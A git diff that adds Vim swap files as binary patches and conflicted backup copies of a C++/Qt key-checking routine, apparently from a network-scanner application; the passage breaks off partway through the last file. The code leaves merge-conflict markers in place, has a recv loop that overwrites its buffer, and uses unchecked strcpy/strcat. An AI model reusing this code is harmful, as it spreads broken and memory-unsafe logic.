ze4Z|&&}OS5j8I>+>N!RU@LRtOEW#znmzJ#q1r~-2wUv`-2wF#?u38-ZMSWOO(|edg z$9P+XQ<#v?!msG;Jgp)=MrVcOjCv1NX)uJq8A?qnLCQoC=Kw0LL;F@{@j^<6rYkg` z62TBA*pkwH5_#jSQ@!O_x&))7Foufa&$pt`MGch`sw8XQnjv-~uDRBv8~7f_lwImn zky@`s`KT@-u2ovj7}m(N@{22!p2fw*?vfbx6}6)^?%7gOxoZ-V7S+8H`s7Xvjg_E9 zcUpJdDF5}^7q?!&`s|=D-DbxVJS(=82<5Skbm^Wa$~Ce>k#qyJJG_MV<98+0V+AkM zZ|PU(hodl@=$(3sXopU{bQp<+`$@tu7VAk`n;%i z>Pvwqu<5+(v7?UI*`ZIKS?NbddV^wj>iu`$#y^of`@+MhHvT`}<7a%@iIe*AB<%uW vqhIflr5?o9=l7J4uP;<)L*eKLTk#Gz_PU1r=-V$Ee8`2G4nJcWe){rnja@Tr literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp b/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..f5341546763af36b7ce58c3fab653c34c96e0ab2 GIT binary patch literal 16384 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 E0Yu(X?*IS* literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.swp b/.CheckKey_Th.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..2cb153db70d9375440db4299cf02bd46168e990c GIT binary patch literal 16384 zcmeI3TWlj&8OLY0Y+FMwlolb75GUShH4ctrC)uRy-Gq7*XA^C1jh$VVv{>VrV|$1_ zXta;r{hpQmM^zz}0!jg;fKosypcGIFC|4dyHnGC4!#GT1((4l*Z{}Cy&wX9bBCtA z3|<0Pz?Z=nz#7PcBR~VM->zx@0MCFc;PapiR=_fdgZG2?g4b`;v>$;VfbWB=;9KA_ zcpM18K@s$Ud%#`bU++R5;Cb*g_&WF;co>`mE8rCP0Qkc@HSHDfGPnw^fJZ?M%z!>{ z3%D6v!@Cf#fv3PU_~EUZ_5xS~f4T+ffM>urK@ofi+zD<2pT1es>c9jA@NsY)jDUMV zA9&)3racBe3oe08umLWB47eY>4`|@W??C?GyWm;yZSVy6D!2z628X~kY{>i>yb68` zeg>Wg&w($3^B@O42(F>+e+PaA9s}#33Ce)%!T<-qB9X`?4SymY7Y)y01F4fR9bA*S z+~VZfY+m+&2{+N#7AMOnvi?e7Li*iJUZzdY+8)pkEb8}QWq~Ff7 z=9iIfXPJ=rcG_Lu?Npc+p~A9$F$7`5pHlcsxbJF;-iFwBGkDx=>M<5HEw>VE(r~B& z$eooux5kP_)o@Ji^|2^admtyWP!Q3+aWdbdS7@6kI>RsT~s=I!jVQrZ|+hA z3?CKO7vp6v=)1V-7&Xpx^s1cKM9S6|+#7 zyl@6#3k4cQXBKn$>_VRPQ)7{cWTe|;YV<+xL5GmTaF5Sq&Zrb(TlU^{KQ z4dj$h6~`)~n08&Pj*e_US=wH5;?nDd(Q`GG9O{VC{m71V4Jp^3Cee%ulbW)q?3fv~ zpRcXqU~P^&>=c7>;kmSPe(>fpE7`niQC_@O7n|*T(DP*$c#hLEmmZnHeQO$pHe2GJ zkMg2bw=@cX-|}T(?#&yvqsOEp$HZ{9w0IT`LGwtIRf;43kPSQ3^cIHDII9aUg#q~@ z>g8XYqFKa8=q?@Jk@aAfhK%4iPN8WgNRh~63!u=_wPR)$Or)f1Yldc1AY_CAHYcP_ zB5n{h)t-*EreG8lnW3Qg*t+kTD4{Ss5k~EpGX#|gN-i~Ny0*nIWak=1gqCwr)-O{C zO4UjyjyW>T{DK0t?tXI0-J+-4b?!{bKxC04Elj?Q~9dfr44V0iscdP8OQU2$( z&u+YR^|hn6V^$j$XHmW(xaUka9Fx{OexefX@uUUNPWK$%kKYkc_7%KLzad|p@AX1= zqIc@aqwX2yn!#L5%Qag6uVamCVoglz|JM2aPq4Os5qt``pa=@!0yqa|!3?+`(0;&Q zu*UxdcpCf@Yxt|+Iq)4o>;21sgB+L!r$Gip!Cl}Ea4R?h{)V;uU%{*3r{Ei43ET}1 zfomx1E8zFwm*7S4HSiViIQSCS0-K-&sBT4|E~S7{Kq;UUPzopolmbctrNDnd0a~1P zFJ@_xD;IPf|L>YkdktFWY7_xX1Q$z{hDNPYa%}9x*yzZKVKa3iHCh_OZ}Yxk%S;Yi zMrvf_c*$r_?6LCmco}O6Z9KSe>=j&WCYzb+Uf=ibI%D}-p5nzudET`+w&Zpk%1Dpx z{mXDiUv8|+<=f8C*Wa5MI31o0V5`24{~os3x=s5Ojy$}fH8QqA|m34R@vorZcm1eJtZJ zP6sv2HO+=c2R{1#k9A^fh8q_5((F`YVn;MODVlRlqk7+ITj&)TN}dFr8bnBGR_&b+ ztiEM4$U`w~6sA}dCuDNFGR}giaXRKhCkhUC0=LeMwgb1vfefniw5``Ry7$+5TVWwL zkoOEa^*o*&W~cEBW+9I`J?__CZ0tMb;H)z=W7^doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - -======= -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa CSSOCKET(sock); if(emitIfOK == 0) stt->doEmitionStartScanIP(); @@ -229,20 +221,10 @@ int KeyCheckerMain() return 1; } else if(strstr(msg, "400 Bad Request") != NULL) - { -<<<<<<< HEAD - + { QString errorDef = GetNSErrorDefinition(msg, "notify"); if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - -======= -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa CSSOCKET(sock); return -1; } @@ -253,21 +235,11 @@ int KeyCheckerMain() return -1; } else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + { char header[64] = {0}; getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa CSSOCKET(sock); return -1; }; @@ -276,21 +248,11 @@ int KeyCheckerMain() CSSOCKET(sock); } else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + { stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); CSSOCKET(sock); - return -1; -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + return -1; }; }; diff --git a/CheckKey_Th.cpp.BACKUP.2427.cpp b/CheckKey_Th.cpp.BACKUP.2427.cpp new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.BACKUP.2427.cpp @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.BACKUP.2593.cpp b/CheckKey_Th.cpp.BACKUP.2593.cpp new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.BACKUP.2593.cpp @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + 